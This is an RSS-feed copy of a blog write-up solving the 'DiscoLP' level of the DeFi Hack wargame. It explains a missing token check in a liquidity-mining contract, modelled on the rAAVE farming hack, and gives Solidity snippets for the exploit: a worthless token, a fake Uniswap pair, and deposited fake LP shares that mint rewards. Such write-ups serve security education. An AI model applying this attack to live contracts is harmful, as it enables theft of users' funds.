		<category><![CDATA[defi]]></category>
		<category><![CDATA[ethereum]]></category>
		<category><![CDATA[security]]></category>
		<category><![CDATA[smart contracts]]></category>
		<guid isPermaLink="false">https://raz0r.name/?p=1128</guid>

					<description><![CDATA[<p>This is a series of write-ups on DeFi Hack, a wargame based on real-world DeFi vulnerabilities. Other posts: DiscoLP DiscoLP is a brand new liquidity mining protocol! You can participate by depositing some JIMBO or JAMBO tokens. All liquidity will be supplied to JIMBO-JAMBO Uniswap pair. By providing liquidity with us you will get DISCO [&#8230;]</p>
The post <a href="https://raz0r.name/writeups/defi-hack-solutions-discolp/">DeFi Hack solutions: DiscoLP</a> first appeared on <a href="https://raz0r.name">Raz0r — Web3 Security</a>.]]></description>
										<content:encoded><![CDATA[<p>This is a series of write-ups on <a href="https://defihack.xyz" title="https://defihack.xyz" target="_blank" rel="noreferrer noopener">DeFi Hack</a>, a wargame based on real-world DeFi vulnerabilities. Other posts:</p>



<figure class="wp-block-embed is-type-wp-embed is-provider-raz-0-r-name wp-block-embed-raz-0-r-name"><div class="wp-block-embed__wrapper">
<blockquote class="wp-embedded-content" data-secret="3nL0Kv1Jzk"><a href="https://raz0r.name/writeups/defi-hack-solutions-may-the-force-be-with-you/">DeFi Hack solutions: May The Force Be With You</a></blockquote><iframe loading="lazy" class="wp-embedded-content" sandbox="allow-scripts" security="restricted"  title="&#8220;DeFi Hack solutions: May The Force Be With You&#8221; &#8212; Raz0r.name" src="https://raz0r.name/writeups/defi-hack-solutions-may-the-force-be-with-you/embed/#?secret=wMSomS8DrX#?secret=3nL0Kv1Jzk" data-secret="3nL0Kv1Jzk" width="500" height="282" frameborder="0" marginwidth="0" marginheight="0" scrolling="no"></iframe>
</div></figure>



<p><strong>DiscoLP</strong></p>



<p><em>DiscoLP is a brand new liquidity mining protocol! You can participate by depositing some JIMBO or JAMBO tokens. All liquidity will be supplied to JIMBO-JAMBO Uniswap pair. By providing liquidity with us you will get DISCO tokens in return!</em></p>



<p>The goal of this level was to get at least 100 DISCO tokens having only 1 JIMBO and 1 JAMBO. The target contract DiscoLP had only one public function named “deposit” with an explicit statement in the comments:</p>



<p><code class="" data-line="">// accepts only JIMBO or JAMBO tokens</code></p>



<p>Uniswap is designed in such a way that one has to deposit a pair of tokens in the same proportions, but this function allowed to stake a single token swapping half of the value for the second token. In return LP shares were awarded. This level is a replica of the <a href="https://growthdefi.medium.com/raave-farming-contract-exploit-explained-f3b6f0b3c1b3">rAAVE farming contract hack</a> that happened in February, 2021. As you may guess, the <code class="" data-line="">depositToken</code>() function was not limited to JIMBO or JAMBO tokens, but actually accepted any token, there was no validation of the <code class="" data-line="">_token</code> argument. It means that literally any token could have been staked that allowed to mint DISCO out of thin air. Although the cause is simple, the attack execution requires multiple steps.</p>



<p>First of all, an attacker has to create an arbitrary token:</p>



<pre class="wp-block-prismatic-blocks"><code class="language-solidity" data-line="">Token evil = new Token(&quot;Evil Token&quot;, &quot;EVIL&quot;); // Token is ERC20</code></pre>



<p>After that attacker approves unlimited EVIL spending to the instance of the level and to the Uniswap router:</p>



<pre class="wp-block-prismatic-blocks"><code class="language-solidity" data-line="">evil.approve(instance, 2**256 - 1);
evil.approve(_router, 2**256 - 1);</code></pre>



<p>The goal of the whole attack is to get some fake LP shares after providing liquidity to the Uniswap pair with JIMBO and attacker’s EVIL token in place of JAMBO. The attacker also approves spending of JIMBO to the Uniswap router, so that the swap in the <code class="" data-line="">depositToken()</code> function succeeds:</p>



<pre class="wp-block-prismatic-blocks"><code class="language-solidity" data-line="">IERC20(tokenA).approve(_router, 2**256 - 1);</code></pre>



<p>After that a JIMBO-EVIL Uniswap pair is created:</p>



<pre class="wp-block-prismatic-blocks"><code class="language-solidity" data-line="">address pair = IUniswapV2Factory(_factory).createPair(address(evil), address(tokenA));</code></pre>



<p>After transfering a single JIMBO token that we have to the attacker contract, we add liquidity to the created pool:</p>



<pre class="wp-block-prismatic-blocks"><code class="language-solidity" data-line="">(uint256 amountA, uint256 amountB, uint256 _shares) = IUniswapV2Router(_router).addLiquidity(
  address(evil),
  address(tokenA),
  100000000000 * 10 ** 18, // EVIL liquidity
  1 * 10 ** 18,            // 1 JIMBO
  1, 1, 
  address(this), // address to send LP shares (attacker contract)
  2**256 - 1);</code></pre>



<p>Finally we deposit fake LP shares to DiscoLP contract:</p>



<pre class="wp-block-prismatic-blocks"><code class="language-solidity" data-line="">DiscoLP(instance).depositToken(address(evil), amount, 1);</code></pre>



<p>After swapping zero-value EVIL tokens, we get plenty of DiscoLP shares! You can find the full source code of the attack contract here: <a href="https://github.com/Raz0r/defihack/blob/master/contracts/attacks/DiscoLPAttack.sol">https://github.com/Raz0r/defihack/blob/master/contracts/attacks/DiscoLPAttack.sol</a></p>The post <a href="https://raz0r.name/writeups/defi-hack-solutions-discolp/">DeFi Hack solutions: DiscoLP</a> first appeared on <a href="https://raz0r.name">Raz0r — Web3 Security</a>.]]></content:encoded>
					
					<wfw:commentRss>https://raz0r.name/writeups/defi-hack-solutions-discolp/feed/</wfw:commentRss>
			<slash:comments>0</slash:comments>
		
		
			</item>
	</channel>
</rss>
